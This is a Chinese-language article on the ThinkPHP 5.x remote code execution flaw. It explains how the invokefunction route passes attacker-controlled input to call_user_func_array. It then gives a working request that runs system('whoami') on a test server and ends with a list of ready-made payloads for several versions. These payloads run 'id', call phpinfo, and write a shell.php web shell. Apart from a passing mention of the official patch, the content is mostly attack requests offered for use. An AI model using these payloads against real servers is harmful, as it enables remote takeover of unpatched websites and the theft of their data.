thinkphp代码执行getshell的漏洞解决
<p>先来简单说说前天thinkphp官方修复的一个getshell漏洞,框架对控制器没有进行足够的检测导致的一处getshell</p><p><strong>影响的范围: </strong>5.x < 5.1.31, <= 5.0.23</p>
<p>漏洞危害: 导致系统被提权(你懂的)</p>
<p>这里附上一个自己测试的 thinkphp的 链接 http://www.thinkphp.cn/download/1260.html 版本是5.0.22</p>
<p>先来讲下,5.0 跟5.1的区别吧,tp5.1中引入了容器(Container)和门面(Facade)这两个新的类 tp5.0是没有这两个新的类的,</p>
<p><span style="color: #ff0000"><strong>漏洞原理</strong></span></p>
<p>URL:http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction</p>
<p>我们先来看看App类里的 exec函数里的执行分层控制器的操作</p>
<p style="text-align: center"><img alt="" src="https://img.jbzj.com/file_images/article/201812/20181212112339921.jpg?20181112112433" /></p>
<p>我们这里是把controller 的调用信息跟配置信息全部传到了 invokeFunction 这个 执行函数里面去了</p>
<p style="text-align: center"><img alt="" src="https://img.jbzj.com/file_images/article/201812/20181212112448816.jpg?2018111211255" /></p>
<p>因为think\App是第二个入口,在tp运行的时候就会被加载 所以用think\App里面的分层控制器的执行操作的时候,需要去调用invokeFunction这个函数。</p>
<p>这个函数有两个参数,如上图所示,第一个是函数的名字,第二个参数数组,比如$function传入BaiDu然后$vars传入就相当于调用BaiDu(12,555)</p>
<p>此处我们把function传入call_user_func_array然后vars传入我们要执行的函数的名字vars传入要执行函数的参数,因为vars是个数组 所以此处我们的get请求需要这样写</p>
<div class="jb51code">
<pre class="brush:php;">
vars[]=函数名&vars[]=参数</pre>
</div>
<p>此处是利用php的数组注入</p>
<p>此时此刻就可以开始利用远程代码执行漏洞了 比如我们要执行system函数 他的参数是whoami</p>
<p>http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars=system&vars[]=whoami</p>
<p style="text-align: center"><img alt="" src="https://img.jbzj.com/file_images/article/201812/20181212112551036.jpg?20181112112641" /></p>
<p>下面你懂的,作为一个接班人我们要做的就是修复他(为所欲为?),当然官方更新的最新版本是已经修复了的</p>
<p style="text-align: center"><img alt="" src="https://img.jbzj.com/file_images/article/201812/20181212112704557.jpg?20181112112757" /></p>
<p>这里就代码执行成功,以下奉献上tp不同版本的payload</p>
<div class="jb51code">
<pre class="brush:php;">
?s=index/\think\Request/input&filter=phpinfo&data=1
?s=index/\think\Request/input&filter=system&data=id
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=
?s=index/\think\view\driver\Php/display&content=
?s=index/\think\app/invokefunction&function=call_user_func_array&vars=phpinfo&vars[]=1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars=system&vars[]=id
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars=phpinfo&vars[]=1
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars=system&vars[]=id</pre>
</div>
<p>以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持琼殿技术社区。</p>
頁:
[1]